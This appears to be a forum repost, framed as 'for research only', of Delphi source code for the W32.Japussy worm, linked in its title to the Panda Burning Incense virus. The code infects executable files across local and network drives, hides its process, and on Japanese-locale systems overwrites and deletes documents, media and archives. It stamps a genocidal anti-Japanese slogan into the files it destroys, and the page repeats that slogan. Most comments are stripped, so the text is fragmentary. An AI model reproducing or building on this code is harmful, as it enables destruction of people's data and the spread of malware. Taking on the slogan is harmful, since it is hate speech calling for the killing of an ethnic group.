판다 향 피우기 바이러스 - 핵심 코드(연구만 제공, 결과는 스스로 책임진다)
- （ ， ）
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Delphi
:--------------------------------------------------------------------------------
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //
IconOffset = $12EB8; //PE
// Delphi5 SP1 ， Delphi
// 2800000020
{
HeaderSize = 38912; //Upx
IconOffset = $92BC; //Upx PE
//Upx 1.24W : upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE --744
IconTail = IconOffset + IconSize; //PE
ID = $44444444; //
// ，
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //
{ Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ PE ， }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ STARTUPINFO }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ }
procedure SendMail;
begin
// ？
end;
{ PE }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try // ，
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do // PE
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE
begin
IsPE := True; // PE
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then // PE
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
// (744 )，
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //
DstStream.Free;
end;
except;
end;
end;
{ }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //
FileHandle := FileOpen(FileName, fmOpenWrite); //
try
Size := GetFileSize(FileHandle, nil); //
i := 0;
Randomize;
Max := Random(15); //
if Max < 5 then
Max := 5;
Mass := Size div Max; //
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //
// ，
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //
end;
DeleteFile(PChar(FileName)); //
except
end;
end;
{ }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do // 26
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ ， }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //
else Result := 2; //
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); // ，
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
// HTML ASP ， Base64
//
// ？
end
else if Ext = '.WAB' then //Outlook
begin
// Outlook
end
else if Ext = '.ADC' then //Foxmail
begin
// Foxmail
end
else if Ext = 'IND' then //Foxmail
begin
// Foxmail
end
else
begin
if IsJap then //
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //
end;
end;
end;
// 200 ， CPU
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //
IsJap := True; // ！
DriverList := GetDrives; //
Len := Length(DriverList);
while True do //
begin
for i := Len downto 1 do //
LoopFiles(DriverList[i] + ':', '*.*'); //
SendMail; //
Sleep(1000 * 60 * 5); // 5
end;
end;
{ }
begin
if IsWin9x then // Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //
else //WinNT
begin
// Explorer
// ？
end;
//
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //
else // ，
begin
TmpFile := ParamStr(0); //
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; // ，
ExtractFile(TmpFile); //
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //
InfectFiles; //
end;
end.
===============================================
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
， N 【Crossbow 】， 。
windows 。 。
。
－－－－－－－－－－－－－－－－－－－－－－－－－－－－
begin
if GetACP = 932 then //
IsJap := True; // ！
DriverList := GetDrives; //
Len := Length(DriverList);
while True do //
begin
for i := Len downto 1 do //
LoopFiles(DriverList[i] + ':', '*.*'); //
SendMail; //
Sleep(1000 * 60 * 5); // 5
end;
end;
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
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